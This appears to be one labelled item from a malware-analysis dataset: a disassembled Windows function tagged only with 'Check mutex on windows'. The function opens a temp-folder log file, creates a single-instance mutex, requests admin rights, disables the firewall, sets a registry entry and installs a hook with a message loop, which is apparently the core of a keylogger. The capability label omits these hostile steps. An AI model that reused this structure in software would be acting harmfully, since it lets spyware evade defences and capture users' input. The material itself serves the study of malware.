Function at 0x140002234
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push rbx
sub rsp, 0xf8
lea rbp, [rsp + 0xf0]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov dword [rbp + 0x38], r9d
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.GetTempFolderPath_abi:cxx11___
lea rax, [rbp - 0x80]
lea rdx, [rbp - 0x60]
lea r8, str.log.txt
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const__wchar_t_const_
lea rax, [rbp - 0x11]
mov qword [rbp - 0x10], rax
nop
nop
lea rax, [rbp - 0x80]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.end__
mov rbx, rax
lea rax, [rbp - 0x80]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.begin__
mov rdx, rax
lea rcx, [rbp - 0x11]
lea rax, [rbp - 0x40]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t_______void____gnu_cxx::__norma
lea rax, [rbp - 0x40]
mov rdx, rax
lea rax, [0x1400a3240]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x11]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov r8d, 1
lea rax, [0x1400a3240]
mov rdx, rax
lea rax, [0x1400a3060]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [0x1400a3128]
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x14000234c
lea rax, str.Failed_to_open_log_file_in_temp_directory.
mov rdx, rax
mov rax, qword [0x14007d200]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x140002444
lea rax, [rbp - 0xa0]
mov rcx, rax
call sym.GetCurrentPath_abi:cxx11___
lea r8, str.MyProg
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexW]
call rax
mov qword [rbp - 8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
sete al
test al, al
je 0x140002398
mov ebx, 0
jmp 0x140002435
call sym.RequestAdminPrivileges__
call sym.DisableFirewall__
lea rax, [rbp - 0xa0]
mov rcx, rax
call sym.CheckAndSetRegistryEntry_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
call sym.SetHook__
jmp 0x1400023de
lea rax, [rbp - 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_TranslateMessage]
call rax
lea rax, [rbp - 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DispatchMessageA]
call rax
lea rax, [rbp - 0xd0]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMessageA]
call rax
test eax, eax
setne al
test al, al
jne 0x1400023b8
call sym.ReleaseHook__
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ebx, 0
lea rax, [rbp - 0xa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp - 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
mov eax, ebx
jmp 0x1400024b1
add rsp, 0xf8
pop rbx
pop rbp
ret